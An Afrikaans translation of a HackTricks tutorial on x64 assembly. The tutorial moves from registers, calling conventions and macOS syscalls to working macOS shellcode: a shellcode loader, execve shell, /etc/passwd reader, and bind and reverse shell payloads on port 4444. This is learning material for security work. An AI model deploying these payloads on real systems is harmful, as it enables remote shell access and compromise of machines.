Introduction to x64

Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Inleiding tot x64

x64, ook bekend as x86-64, is 'n 64-bis-processorargitektuur wat hoofsaaklik in tafelrekenaars en bedienerberekening gebruik word. Afkomstig van die x86-argitektuur wat deur Intel vervaardig is en later deur AMD met die naam AMD64 aangeneem is, is dit die heersende argitektuur in persoonlike rekenaars en bedieners vandag.

Registers

x64 bou voort op die x86-argitektuur, met 16 algemene doelregisters wat geëtiketteer is as rax, rbx, rcx, rdx, rbp, rsp, rsi, rdi, en r8 tot r15. Elkeen hiervan kan 'n 64-bis (8-byte) waarde stoor. Hierdie registers het ook 32-bis, 16-bis, en 8-bis subregisters vir verenigbaarheid en spesifieke take.

  1. rax - Tradisioneel gebruik vir terugkeerwaardes van funksies.

  2. rbx - Dikwels gebruik as 'n basisregister vir geheue-operasies.

  3. rcx - Gewoonlik gebruik vir lusstellers.

  4. rdx - Gebruik in verskeie rolle, insluitend uitgebreide wiskundige operasies.

  5. rbp - Basewysiger vir die stapelraamwerk.

  6. rsp - Stapelwysiger, hou by die boonste van die stapel.

  7. rsi en rdi - Gebruik vir bron en bestemming indekse in string/geheue-operasies.

  8. r8 tot r15 - Addisionele algemene doelregisters wat in x64 ingevoer is.

Oproepkonvensie

Die x64-oproepkonvensie verskil tussen bedryfstelsels. Byvoorbeeld:

  • Windows: Die eerste vier parameters word oorgedra in die registers rcx, rdx, r8, en r9. Verdere parameters word op die stapel gedruk. Die terugkeerwaarde is in rax.

  • System V (gewoonlik gebruik in UNIX-soortgelyke stelsels): Die eerste ses heelgetal- of wysigerparameters word oorgedra in die registers rdi, rsi, rdx, rcx, r8, en r9. Die terugkeerwaarde is ook in rax.

As die funksie meer as ses insette het, sal die res op die stapel oorgedra word. RSP, die stapelwysiger, moet 16 byte uitgelyn wees, wat beteken dat die adres waarna dit wys, deur 16 deelbaar moet wees voordat enige oproep plaasvind. Dit beteken dat ons normaalweg moet verseker dat RSP behoorlik uitgelyn is in ons shellkode voordat ons 'n funksieoproep maak. Tog werk stelseloproepe baie kere selfs as hierdie vereiste nie nagekom word nie.

Oproepkonvensie in Swift

Swift het sy eie oproepkonvensie wat gevind kan word op https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#x86-64

Gewone Instruksies

x64-instruksies het 'n ryk stel, wat verenigbaarheid met vroeëre x86-instruksies handhaaf en nuwe introduceer.

  • mov: Skuif 'n waarde van een register of geheueplek na 'n ander.

  • Voorbeeld: mov rax, rbx — Skuif die waarde van rbx na rax.

  • push en pop: Druk waardes na/druk waardes van die stapel.

  • Voorbeeld: push rax — Druk die waarde in rax na die stapel.

  • Voorbeeld: pop rax — Druk die boonste waarde van die stapel na rax.

  • add en sub: Byvoeging en aftrekking operasies.

  • Voorbeeld: add rax, rcx — Tel die waardes in rax en rcx op en stoor die resultaat in rax.

  • mul en div: Vermenigvuldiging en deling operasies. Let op: hierdie het spesifieke gedrag met betrekking tot operandgebruik.

  • call en ret: Gebruik om funksies te oproep en terug te keer.

  • int: Gebruik om 'n sagteware onderbreking te veroorsaak. Byvoorbeeld, int 0x80 is gebruik vir stelseloproepe in 32-bis x86 Linux.

  • cmp: Vergelyk twee waardes en stel die CPU se vlae in op grond van die resultaat.

  • Voorbeeld: cmp rax, rdx — Vergelyk rax met rdx.

  • je, jne, jl, jge, ...: Kondisionele sprong instruksies wat beheervloei verander op grond van die resultate van 'n vorige cmp of toets.

  • Voorbeeld: Na 'n cmp rax, rdx instruksie, je label — Spring na label as rax gelyk is aan rdx.

  • syscall: Gebruik vir stelseloproepe in sommige x64-stelsels (soos moderne Unix).

  • sysenter: 'n Geoptimeerde stelseloproep instruksie op sommige platforms.

Funksie Proloog

  1. Druk die ou basiswysiger: push rbp (stoor die aanroeper se basiswysiger)

  2. Skuif die huidige stapelwysiger na die basiswysiger: mov rbp, rsp (stel die nuwe basiswysiger vir die huidige funksie op)

  3. Ken ruimte op die stapel toe vir plaaslike veranderlikes: sub rsp, <grootte> (waar <grootte> die aantal benodigde bytes is)

Funksie Epiloog

  1. Skuif die huidige basiswysiger na die stapelwysiger: mov rsp, rbp (onttrek plaaslike veranderlikes)

  2. Druk die ou basiswysiger van die stapel af: pop rbp (herstel die aanroeper se basiswysiger)

  3. Keer terug: ret (gee beheer terug aan die aanroeper)

macOS

syscalls

Daar is verskillende klasse van syscalls, jy kan hulle hier vind:

#define SYSCALL_CLASS_NONE	0	/* Invalid */
#define SYSCALL_CLASS_MACH	1	/* Mach */
#define SYSCALL_CLASS_UNIX	2	/* Unix/BSD */
#define SYSCALL_CLASS_MDEP	3	/* Machine-dependent */
#define SYSCALL_CLASS_DIAG	4	/* Diagnostics */
#define SYSCALL_CLASS_IPC	5	/* Mach IPC */

Dan kan jy elke syscall nommer in hierdie url:

0	AUE_NULL	ALL	{ int nosys(void); }   { indirect syscall }
1	AUE_EXIT	ALL	{ void exit(int rval); }
2	AUE_FORK	ALL	{ int fork(void); }
3	AUE_NULL	ALL	{ user_ssize_t read(int fd, user_addr_t cbuf, user_size_t nbyte); }
4	AUE_NULL	ALL	{ user_ssize_t write(int fd, user_addr_t cbuf, user_size_t nbyte); }
5	AUE_OPEN_RWTC	ALL	{ int open(user_addr_t path, int flags, int mode); }
6	AUE_CLOSE	ALL	{ int close(int fd); }
7	AUE_WAIT4	ALL	{ int wait4(int pid, user_addr_t status, int options, user_addr_t rusage); }
8	AUE_NULL	ALL	{ int nosys(void); }   { old creat }
9	AUE_LINK	ALL	{ int link(user_addr_t path, user_addr_t link); }
10	AUE_UNLINK	ALL	{ int unlink(user_addr_t path); }
11	AUE_NULL	ALL	{ int nosys(void); }   { old execv }
12	AUE_CHDIR	ALL	{ int chdir(user_addr_t path); }
[...]

Dus om die open syscall (5) van die Unix/BSD-klas te roep, moet jy dit byvoeg: 0x2000000

Dus sal die syscall-nommer om open te roep 0x2000005 wees

Shellkodes

Om te kompileer:

nasm -f macho64 shell.asm -o shell.o
ld -o shell shell.o -macosx_version_min 13.0 -lSystem -L /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/lib

Om die bytes te onttrek:

# Code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/b729f716aaf24cbc8109e0d94681ccb84c0b0c9e/helper/extract.sh
for c in $(objdump -d "shell.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; do
echo -n '\\x'$c
done

# Another option
otool -t shell.o | grep 00 | cut -f2 -d$'\t' | sed 's/ /\\x/g' | sed 's/^/\\x/g' | sed 's/\\x$//g'
C-kode om die shellkode te toets

```c // code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/loader.c // gcc loader.c -o loader #include #include #include #include

int (*sc)();

char shellcode[] = "";

int main(int argc, char **argv) { printf("[>] Shellcode Length: %zd Bytes\n", strlen(shellcode));

void *ptr = mmap(0, 0x1000, PROT_WRITE | PROT_READ, MAP_ANON | MAP_PRIVATE | MAP_JIT, -1, 0);

if (ptr == MAP_FAILED) { perror("mmap"); exit(-1); } printf("[+] SUCCESS: mmap\n"); printf(" |-> Return = %p\n", ptr);

void *dst = memcpy(ptr, shellcode, sizeof(shellcode)); printf("[+] SUCCESS: memcpy\n"); printf(" |-> Return = %p\n", dst);

int status = mprotect(ptr, 0x1000, PROT_EXEC | PROT_READ);

if (status == -1) { perror("mprotect"); exit(-1); } printf("[+] SUCCESS: mprotect\n"); printf(" |-> Return = %d\n", status);

printf("[>] Trying to execute shellcode...\n");

sc = ptr; sc();

return 0; }

</details>

#### Skul

Geneem van [**hier**](https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/shell.s) en verduidelik.

<div data-gb-custom-block data-tag="tabs">

<div data-gb-custom-block data-tag="tab" data-title='met adr'>

```armasm
bits 64
global _main
_main:
call    r_cmd64
db '/bin/zsh', 0
r_cmd64:                      ; the call placed a pointer to db (argv[2])
pop     rdi               ; arg1 from the stack placed by the call to l_cmd64
xor     rdx, rdx          ; store null arg3
push    59                ; put 59 on the stack (execve syscall)
pop     rax               ; pop it to RAX
bts     rax, 25           ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
syscall
bits 64
global _main

_main:
xor     rdx, rdx          ; zero our RDX
push    rdx               ; push NULL string terminator
mov     rbx, '/bin/zsh'   ; move the path into RBX
push    rbx               ; push the path, to the stack
mov     rdi, rsp          ; store the stack pointer in RDI (arg1)
push    59                ; put 59 on the stack (execve syscall)
pop     rax               ; pop it to RAX
bts     rax, 25           ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
syscall

Lees met kat

Die doel is om execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL) uit te voer, dus die tweede argument (x1) is 'n reeks van parameters (wat in die geheue beteken dat dit 'n stapel van die adresse is).

bits 64
section .text
global _main

_main:
; Prepare the arguments for the execve syscall
sub rsp, 40         ; Allocate space on the stack similar to `sub sp, sp, #48`

lea rdi, [rel cat_path]   ; rdi will hold the address of "/bin/cat"
lea rsi, [rel passwd_path] ; rsi will hold the address of "/etc/passwd"

; Create inside the stack the array of args: ["/bin/cat", "/etc/passwd"]
push rsi   ; Add "/etc/passwd" to the stack (arg0)
push rdi   ; Add "/bin/cat" to the stack (arg1)

; Set in the 2nd argument of exec the addr of the array
mov rsi, rsp    ; argv=rsp - store RSP's value in RSI

xor rdx, rdx    ; Clear rdx to hold NULL (no environment variables)

push    59      ; put 59 on the stack (execve syscall)
pop     rax     ; pop it to RAX
bts     rax, 25 ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
syscall         ; Make the syscall

section .data
cat_path:      db "/bin/cat", 0
passwd_path:   db "/etc/passwd", 0

Roep bevel met sh op

bits 64
section .text
global _main

_main:
; Prepare the arguments for the execve syscall
sub rsp, 32           ; Create space on the stack

; Argument array
lea rdi, [rel touch_command]
push rdi                      ; push &"touch /tmp/lalala"
lea rdi, [rel sh_c_option]
push rdi                      ; push &"-c"
lea rdi, [rel sh_path]
push rdi                      ; push &"/bin/sh"

; execve syscall
mov rsi, rsp                  ; rsi = pointer to argument array
xor rdx, rdx                  ; rdx = NULL (no env variables)
push    59                    ; put 59 on the stack (execve syscall)
pop     rax                   ; pop it to RAX
bts     rax, 25               ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
syscall

_exit:
xor rdi, rdi                  ; Exit status code 0
push    1                     ; put 1 on the stack (exit syscall)
pop     rax                   ; pop it to RAX
bts     rax, 25               ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
syscall

section .data
sh_path:        db "/bin/sh", 0
sh_c_option:    db "-c", 0
touch_command:  db "touch /tmp/lalala", 0

Bind skul

Bind skul van https://packetstormsecurity.com/files/151731/macOS-TCP-4444-Bind-Shell-Null-Free-Shellcode.html in poort 4444

section .text
global _main
_main:
; socket(AF_INET4, SOCK_STREAM, IPPROTO_IP)
xor  rdi, rdi
mul  rdi
mov  dil, 0x2
xor  rsi, rsi
mov  sil, 0x1
mov  al, 0x2
ror  rax, 0x28
mov  r8, rax
mov  al, 0x61
syscall

; struct sockaddr_in {
;         __uint8_t       sin_len;
;         sa_family_t     sin_family;
;         in_port_t       sin_port;
;         struct  in_addr sin_addr;
;         char            sin_zero[8];
; };
mov  rsi, 0xffffffffa3eefdf0
neg  rsi
push rsi
push rsp
pop  rsi

; bind(host_sockid, &sockaddr, 16)
mov  rdi, rax
xor  dl, 0x10
mov  rax, r8
mov  al, 0x68
syscall

; listen(host_sockid, 2)
xor  rsi, rsi
mov  sil, 0x2
mov  rax, r8
mov  al, 0x6a
syscall

; accept(host_sockid, 0, 0)
xor  rsi, rsi
xor  rdx, rdx
mov  rax, r8
mov  al, 0x1e
syscall

mov rdi, rax
mov sil, 0x3

dup2:
; dup2(client_sockid, 2)
;   -> dup2(client_sockid, 1)
;   -> dup2(client_sockid, 0)
mov  rax, r8
mov  al, 0x5a
sub  sil, 1
syscall
test rsi, rsi
jne  dup2

; execve("//bin/sh", 0, 0)
push rsi
mov  rdi, 0x68732f6e69622f2f
push rdi
push rsp
pop  rdi
mov  rax, r8
mov  al, 0x3b
syscall

Terugskulp

Terugskulp van https://packetstormsecurity.com/files/151727/macOS-127.0.0.1-4444-Reverse-Shell-Shellcode.html. Terugskulp na 127.0.0.1:4444

section .text
global _main
_main:
; socket(AF_INET4, SOCK_STREAM, IPPROTO_IP)
xor  rdi, rdi
mul  rdi
mov  dil, 0x2
xor  rsi, rsi
mov  sil, 0x1
mov  al, 0x2
ror  rax, 0x28
mov  r8, rax
mov  al, 0x61
syscall

; struct sockaddr_in {
;         __uint8_t       sin_len;
;         sa_family_t     sin_family;
;         in_port_t       sin_port;
;         struct  in_addr sin_addr;
;         char            sin_zero[8];
; };
mov  rsi, 0xfeffff80a3eefdf0
neg  rsi
push rsi
push rsp
pop  rsi

; connect(sockid, &sockaddr, 16)
mov  rdi, rax
xor  dl, 0x10
mov  rax, r8
mov  al, 0x62
syscall

xor rsi, rsi
mov sil, 0x3

dup2:
; dup2(sockid, 2)
;   -> dup2(sockid, 1)
;   -> dup2(sockid, 0)
mov  rax, r8
mov  al, 0x5a
sub  sil, 1
syscall
test rsi, rsi
jne  dup2

; execve("//bin/sh", 0, 0)
push rsi
mov  rdi, 0x68732f6e69622f2f
push rdi
push rsp
pop  rdi
xor  rdx, rdx
mov  rax, r8
mov  al, 0x3b
syscall

Last updated